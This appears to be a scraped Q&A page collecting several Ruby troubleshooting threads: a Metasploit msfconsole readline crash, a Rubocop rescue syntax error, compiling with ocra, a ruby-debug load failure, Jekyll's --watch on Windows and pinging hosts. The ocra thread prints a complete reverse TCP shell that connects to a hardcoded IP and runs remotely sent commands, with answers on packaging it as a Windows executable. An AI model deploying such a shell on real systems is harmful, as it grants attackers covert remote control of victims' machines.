msfcli RBreadline and Readline problems - ruby

Hello my friends i have a problem with Metasploit.
OS: Fedora 20
Metasploit: Cloned from git.
The problem is:
when i run
msfconsole
I have this error:
"/usr/local/share/gems/gems/activesupport-3.2.19/lib/active_support/dependencies.rb:240: stack level too deep (SystemStackError)"
but when i run:
msfconsole -L
Everithing goes fine.
So the issue is that i have to run
msfcli auxyliary/scanner/smb/smb_enunshares E
and i get the same error when i run "msfconsole"
I believe that the problem is for somes GEMS.
EDIT:
I was able to solve the problem, but this isn't the best way.
I had to modify the code.
This is what i do:
1) edit the file: /metasploit-framework/lib/msf/ui/console/driver.rb
2) go to line: 59
3) replace:
rl = false
rl_err = nil
begin
if(opts['RealReadline'])
require 'readline'
rl = true
end
rescue ::LoadError
rl_err = $!
end
# Default to the RbReadline wrapper
require 'readline_compatible' if(not rl)
for:
rl = true
rl_err = nil
require 'readline'
and then everithing should work. What i did is to force the "-L" option in the code.
if anyone have another solution, please post it!
:-)

The problem is an incompatibility with Metasploit's bundled rbreadline and ruby 2.x; use 1.9.3 for now or start msfconsole with -L.

Related

unexpected keyword_rescue, expecting keyword_end (SyntaxError) [duplicate]

I have the following ruby code:
EmailTemplate.for(mailer).each do |template|
begin
print '.'
template.upload(publish)
rescue Mandrill::UnknownTemplateError
failed.push(mailer)
end
end
Rubocop corrected my code to:
EmailTemplate.for(mailer).each do |template|
print '.'
template.upload(publish)
rescue Mandrill::UnknownTemplateError
failed.push(mailer)
end
and now it returns following error:
syntax error, unexpected keyword_rescue, expecting keyword_end
How can I fix that?
Rubocop warnings was:
C: Style/RedundantBegin: Redundant begin block detected.
Ruby 2.5.0 added a feature:
rescue/else/ensure are now allowed to be used directly with do/end blocks. [Feature #12906]
But before that, it was not allowed. So syntax error will be there.
Lets do syntax test for the code in sample.rb:
[].each do |a|
# ops
rescue Exception => ex
puts ex.inspect
end
From terminal:
Ruby$ ruby -c sample.rb
sample.rb:3: syntax error, unexpected keyword_rescue
rescue Exception => ex
^
sample.rb:5: syntax error, unexpected keyword_end, expecting end-of-input
Ruby$ rvm use 2.5.1
Using /Users/aruprakshit/.rvm/gems/ruby-2.5.1
Ruby$ ruby -c sample.rb
Syntax OK
See the News. So before 2.5.0, you need to write it like:
[].each do |a|
begin
# ops
rescue => Exception
puts ex.inspect
end
end
You can configure Rubocop to select the version of Ruby you want by following Setting the target Ruby version.
Some checks are dependent on the version of the Ruby interpreter which
the inspected code must run on. For example, enforcing using Ruby 2.3+
safe navigation operator rather than try can help make your code
shorter and more consistent... unless it must run on Ruby 2.2.
If .ruby-version exists in the directory RuboCop is invoked in,
RuboCop will use the version specified by it. Otherwise, users may let
RuboCop know the oldest version of Ruby which your project supports
with:
AllCops:
TargetRubyVersion: 2.4
For some reason, Rubocop thinks you're running Ruby 2.5, not Ruby 2.4.1.
You can fix this one of two ways:
1) Create a file .ruby-version with content 2.4.1. Rubocop should pick up your Ruby version from this file.
2) Add the following to your .rubocop.yml:
AllCops:
TargetRubyVersion: 2.4

Ruby compile with ocra error - libssp-0.dll not found

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.
The code is pretty simple:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
I build it with: ocra RevShell.rb --verbose
I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"
Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.
Thanks for your help.
Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.
Use --dll ruby_builtin_dlls\libssp-0.dll.
See https://github.com/larsch/ocra/issues/168 for more details.
I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.
In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.
For time being, I could evade this problem by using (x86) version of Ruby 2.7.

What does "cannot load such file -- ruby-debug" indicate when running require?

Hi: I've been asked to debug some ruby code, a language I know next to nothing about, so please bear with me. FWIW, the port is from v 2.1.1 to 2.3.1
This is the ruby script...
#!/usr/bin/env ruby
$VERBOSE = nil
begin
$:.unshift File.expand_path(File.join(File.dirname(File.realpath(__FILE__)), '..', 'lib'))
require 'idl'
rescue LoadError => e
puts "Failed to load idl library. #{e}"
exit(-1)
end
GC.disable # Disable GC since IDL is so transient. The GC takes an inordinate amount of time
IDL::App.instance.run
This is the error message...
Failed to load idl library. cannot load such file -- ruby-debug
The ruby script is in a dir which does have a sibling dir that has the idl library...
-> ll idl ../lib
-rwxrwxr-x 1 joe thegrp 348 Feb 26 17:29 idl
../lib:
total 12
drwxrwsr-x 3 joe thegrp 4096 Feb 21 11:44 idl
-r--r--r-- 1 joe thegrp 4327 Feb 21 11:44 idl.rb
All of this appears to have worked in 2.1.1
I don't think this is a matter where it can't find the library. I stuck some debug statements in the ruby script which just print out the value of... File.expand_path(File.join(File.dirname(File.realpath(FILE)), '..', 'lib')) and it's right on. And remember, this exact same code and dir structure worked in 2.1.1 .
Could it be that the "cannot load such file" is really trying to say "I can't load this library because it was created in 2.1.1 and this is 2.3.1" ??
What's up with the "-- ruby-debug" ?
I found some notes (internal) that "ruby-debug" could be an issue. The subject was...
errors related to deprecated debuggers like pry-debugger, debugger, ruby-debug
The solution was...
Use pry-byebug debugger
I'm not sure why a debugger is being invoked here or if it's the reason for the error. And I'm not sure how to "Use pry-byebug debugger". Is there a way I can stick this in the ruby script, something like "use pry-byebug" ?
Any help deciphering what's happening and any proposed solutions would be appreciated !
I think I just found my own answer.
A .rb file inside the library had a...
use 'ruby-debug'
I changed that to..
use 'pry-bugbye'
and it worked.
IOW, the error message was all about the use of "ruby-debug". And the solution was indeed to replace that with "pry-bugbye"
Hope this posting helps someone else in the future !

--watch arg is unsupported on Windows

I'm new to jekyll so first I follow this tutorial Jekyll on Windows and setup jekyll 3.3.0.I got an error about the certificate this tutorial SSL CERTIFICATE UPDATES
and by using this cacert.pem certificate solve the problem.
However,when start jekyll server I get:
--watch arg is unsupported on Windows.
If you are on Windows Bash, please see: https://github.com/Microsoft/BashOnWindows/issues/216
I try to solve this problem using Let Jekyll --watch without any luck.
If I use jekyll 3.2.1 every things work okay but the problem with jekyll 3.3.0.
So how to solve this problem ?
Edit
I Solve my problem reading this and comment some code in the build.rb file at C:\tools\ruby23\lib\ruby\gems\2.3.0\gems\jekyll-3.3.0\lib\jekyll\commands
To enable autoregeration and now every things work okay.
def watch(site, options)
#if Utils::Platforms.windows?
# Jekyll.logger.warn "", "--watch arg is unsupported on Windows. "
# Jekyll.logger.warn "", "If you are on Windows Bash, please see: " \
# "https://github.com/Microsoft/BashOnWindows/issues/216"
# else
External.require_with_graceful_fail "jekyll-watch"
watch_method = Jekyll::Watcher.method(:watch)
if watch_method.parameters.size == 1
watch_method.call(
options
)
else
watch_method.call(
options, site
)
# end
end
I think you can just type jekyll serve.
It's windows bash error, Jekyll or Windows will fix it soon, till then you can use jekyll 3.2.1 version.
Here I commit my answer.
I solved the problem by installing Ruby 2.3.3, DevKit-mingw64 and jekyll 3.4.3

ruby ping for 1.9.1

I want to ping a site in my ruby code and saw that net-ping was a nice library to do this with. Unfortunately, when I tried to gem install net-ping I got the following error:
C:>gem install net-ping
ERROR: Error installing net-ping:
win32-open3 requires Ruby version < 1.9.0.
upon further research, I found that net-ping was not available yet for 1.9.X. Does anyone have a good piece of code that pings that they would be willing to share.
If by 'site' you mean website, then I wouldn't use ping. Ping will tell you if the host is up (unless a router or firewall is blocking ICMP), but it won't tell you if your web server or web app is responding properly.
If that's the case, I'd recommend Net::HTTP from the standard library, or any of the other HTTP libraries. One way to do it is:
def up?(site)
Net::HTTP.new(site).head('/').kind_of? Net::HTTPOK
end
up? 'www.google.com' #=> true
You can always do this and use regexps to parse the result or just check the exit status:
ping_count = 10
server = "www.google.com"
result = `ping -q -c #{ping_count} #{server}`
if ($?.exitstatus == 0) do
puts "Device is up!"
end
Ping return values that you can check against:
The ping utility returns an exit status of zero if at least one response was heard from the specified host; a status of two if the transmission was successful but no responses were received; or another value (from <sysexits.h>) if an error occurred.
http://www.manpagez.com/man/8/ping
For windows follow these instructions:
download djberg96-net-ping-net-ping-1.5.3-0-g9252076.zip from github.com/djberg96/net-ping
unzip, cd in the folder
gem build net-ping.gemspec
gem install net-ping-1.5.3-universal-mingw32.gem
gem install win32-security
to use it:
require 'net/ping'
p Net::Ping::TCP.new('www.google.com', 'http').ping?
p Net::Ping::TCP.new('foo.bar.baz').ping?
Use from source
gem "net-ping", :git => 'git://github.com/djberg96/net-ping.git'
# bundle install
Now you can use functions from it in 1.9.2

Resources